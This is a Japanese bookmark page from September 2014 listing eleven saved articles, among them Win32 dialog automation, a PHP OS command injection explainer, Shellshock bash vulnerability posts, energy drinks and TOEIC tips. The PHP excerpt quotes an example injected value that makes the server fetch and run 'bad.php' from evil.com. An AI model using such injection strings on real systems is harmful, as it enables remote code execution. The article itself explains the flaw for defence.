2014年9月27日のブックマーク (11件)

  • ダイアログのボタンを押すメモ(Hishidama's VC++ click dialog button Memo)

    概要 ダイアログ上のボタンのウィンドウハンドル(HWND)を取得し、そのHWNDに対してボタンクリックのメッセージを送信すればよい。 コントロールIDの事前調査 VC++に付属しているspy++を使って、ダイアログのボタンのコントロールIDを調べることが出来る。 コントロールIDとは、ダイアログを自作したことのある人なら分かると思うけど、IDOKとかIDCANCELとかの、プログラマーがコントロール(ボタンやエディットボックス)に付けたIDのこと。 目的のダイアログを表示する。 スパイを実行する。 VC++2005の場合、「スタート」→「プログラム(P)」→「Microsoft Visual C++ Standard Edition」→「スパイ++」 メニューバーの「検索(E)」→「ウィンドウ検索(F)」(あるいはツールバーの)で「ウィンドウ検索」ダイアログを開く。 ファインダーツールのを

    IzumiSy
    IzumiSy 2014/09/27
    自動化について
  • [windows]HWND←→CWndの変換 - octech

    とある仕事のための機材として購入していたZOOM H4を使ってみた。 RECボタンを一度押すと、録音待機モード、 録音待機モードからRECボタンを押すと、録音開始、 録音中にRECボタンを押すと、録音停止。 これだけでほとんど問題ない。 で、マンションの屋上に上がって、録音してみた。 Nikon D50で、風景を撮影。 部屋に戻って、適当にムービー化し、これまた初めてYouTubeにアップしてみた。 フィールドレコーディングをしていると、環境音が気になりはじめる。しばらく目を閉じたまま耳をすますと「あ、これは遠くの電車の音だ」「あれ、鳥の声とか聞こえるんだ」みたいな感じで、自然とノイズを分析しはじめていて、なかなか面白い。 人間の脳は、視覚情報が多くを語らないと、音に情報を求めるのかもしれません。 フィールドレコーディング、面白い趣味になりそうです。 ウィンドウのハンドルと、CWndオブジ

    [windows]HWND←→CWndの変換 - octech
    IzumiSy
    IzumiSy 2014/09/27
    MFC
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

    IzumiSy
    IzumiSy 2014/09/27
  • Blog: bashの脆弱性がヤバすぎる件 – x86-64.jp - くりす研

    Browse by time: December 2018 (1) December 2016 (1) December 2015 (1) January 2015 (1) September 2014 (2) July 2014 (2) April 2014 (1) February 2014 (1) January 2014 (3) December 2013 (2) September 2013 (3) June 2013 (1) May 2013 (1) April 2013 (1) March 2013 (2) February 2013 (5) やっと更新する気になった。 もくじ 0. 産業で説明 1. 理論編 2. 攻撃編 3. パッチ 4. 結論 0. 産業で説明 bashが アホで 地球がヤバイ 1. 理論編 bashの関数機能は、環境変数の中でも使える仕様になっています

  • BASHの脆弱性でCGIスクリプトにアレさせてみました

    環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに Tweet 2014年9月25日 嶋田大貴 この記事は2014年のものです 朝から Bash specially-crafted environment variables code injection attack なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。 /hoge.cgiというURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。 #!/bin/sh echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script w

    BASHの脆弱性でCGIスクリプトにアレさせてみました
  • 孤独くん

    大学4年+留年1年ずっと孤独だった 人とコミュニケーションが取れないわけじゃない 普通に会話できるし冗談も言える、酒の席にも参加できるし女子とも話せる けれどそれは演技で素の自分じゃなく、実際は相手にまったく興味なんて持てなかった 興味なんてないんだからこちらから話をもちかけるのなんて稀だった 好きなように振る舞えないい自分に納得できずもやもやしていた 卒業した時点で成績はかなり優秀な方だった けれど自分のやるべき事がわからず就職活動をしなかった 現在ニート7ヶ月目、留年1年分も加えたら19ヶ月分だろう 薄っぺらい人間関係しか築けなかったのでニートになってから誰とも電話もメールしていない こちらから話すネタ(ニートネタはやめたい)もないので携帯なんてずっと充電してない ニートとはこんなにも孤独だったのか ぼちぼちプレイしていたネトゲを2月から熱心にプレイするようになった 暇ばかりのニート

    孤独くん
    IzumiSy
    IzumiSy 2014/09/27
    他人に興味ないのくだりめっちゃ分かる。ハルヒ乙とかそんなんじゃないくて、いろんな人のことが知りたくてたまらない人間になりたい。
  • プログラマが3倍コードを早く書くために求める炭酸飲料7選 | Act as Professional - hiroki.jp by HIROCASTER

    IT系会社の誰かの机の上には必ずコレが置いてあるといっても良いぐらいのプログラマ信者を獲得した飲料。元々はタイの飲料だけど、国によって成分がだいぶ違う。日のは序の口らしい。他の国のを数飲むとホントにやばいらしい。 ドクターペッパー

    プログラマが3倍コードを早く書くために求める炭酸飲料7選 | Act as Professional - hiroki.jp by HIROCASTER
  • 【カフェインの致死量って?】各社エナジードリンク徹底解剖してみた - paiza times

    Photo by Mike Mozart こんにちは、今回は谷口がお送りします。 ITエンジニアの方々の中には、エナジードリンクが好きな人、ついつい飲んじゃうという人がたくさんいると思います。私もそうです。今回は、そんなエナジードリンクについて、各社製品の成分の違いや危険性、カフェインの致死量などについての情報をまとめました。 【目次】 ■よくエナジードリンクに入ってるあの成分 ■あのエナジードリンクって何が入ってるの? ■エナジードリンクは体に悪い?カフェインの致死量って? ■それでもエナジードリンクが飲みたい! ■まとめ ■エナジードリンクとは 栄養ドリンクというと、茶色いビン入りのもの、エナジードリンクというと缶入りのもの……というイメージがありますが、こういった飲料は、ビタミン類・アミノ酸・滋養強壮に効果のある生薬・漢方薬由来成分のエキスなど、疲労回復や健康維持に効果が期待できると

    【カフェインの致死量って?】各社エナジードリンク徹底解剖してみた - paiza times
  • とんかつQ&A「今だから抑えておきたいジャパニーズHIPHOPの歴史【入門編】」 | ホームページ作成サービス「グーペ」のキャラクターブログ「とんかつ教室」

    某陸上選手の方が「どんなに頑張っても、日で生まれ育った人がヒップホップをやるとどこか違和感がある」という発言をして炎上していましたが、僕も割と同じことを思っていたので怖くなりました。おじさんはヒップホップにも詳しそうなので、「東京生まれヒップホップ育ち」から日語ラップの知識が止まっている僕が今後どう振る舞っていけばいいのかレクチャーしてくれませんか? 炎上は怖いので……。 あの発言にはおじさんも「うわぁやっちゃったなぁ」と思ったけど、まぁ誰しも先入観だけでとらえてる分野ってあるよね。「クラシックやってる人は家が金持ち」とか、「僧侶は楽して儲けてそう」とか、油断したらつい口走ってしまいそうな印象論を軽い気持ちで書いちゃったって感じやないかな。まぁこの件に関しては書いてしまった方も筆がすべったことを認めているみたいやから、今後は反省の意味も含めて少しでも日語ラップの作品に触れてみて欲しい

    とんかつQ&A「今だから抑えておきたいジャパニーズHIPHOPの歴史【入門編】」 | ホームページ作成サービス「グーペ」のキャラクターブログ「とんかつ教室」
  • TOEICリスニング勉強法|いきなり点が伸びる方法 | リスタ!

    もしかしたら、ひたすらTOEICの公式問題集を解きまくったり、音声を聞き続けたという人もいるでしょう。 しかし、残念ながら、TOEICの単語をたくさん覚えればリスニングやリーディングも克服できると勘違いしている受験者が未だにたくさんいます。 実は、TOEIC満点者でも英単語を全て知り尽くしていませんし、リスニングやリーディングでもその問題全てを聞いていません。それでも点数が取れる理由は、英語が出来る人がやっているコツがあるからです。 そのコツがわかれば、短期間の勉強でもリスニングで満点近く取る事も可能になってくるのです。 そこで今回は、TOEICのリスニング・セクションで、いきなりスコアがアップするコツと日々の勉強法やトレーニング方法、当日の試験でいきなり点数が伸び出してくるリスニング問題の解き方やコツまで今すぐ実践できる方法をご紹介します。 1.TOEICリスニングの点数をいきなりアップ

    TOEICリスニング勉強法|いきなり点が伸びる方法 | リスタ!
  • 「東京メトロオープンデータ活用コンテスト」②APIの仕様設計を理解し、ドキュメント化する - Qiita

    成果物:apiary.ioによる、APIドキュメント とりあえず見て貰えるとイメージつかみやすいです↑ あらすじ 100万円欲しいのでAPIを利用したアプリ開発を学ぶ絶好の機会なので、東京メトロオープンデータ活用コンテストに挑戦しようとしている。 前回、とりあえずざっと触ってみてAPIのイメージは掴んだ 今回は、公式ドキュメントと実際のレスポンスを咀嚼して、仕様設計を汎用ドキュメント化しつつ理解していくことを目的とする せっかくドキュメント化するからには、汎用性と実用性が高いフォーマットとしたい(オレオレにはしたくない) 成果物 API Blueprintで記述されたテキストをApiary.ioでホスティングし、以下を作った TokyoMetroOpendataAPI · Apiary github上のソース(markdownプレビュー版) やってみてわかった、ApiaryによるAPIドキ

    「東京メトロオープンデータ活用コンテスト」②APIの仕様設計を理解し、ドキュメント化する - Qiita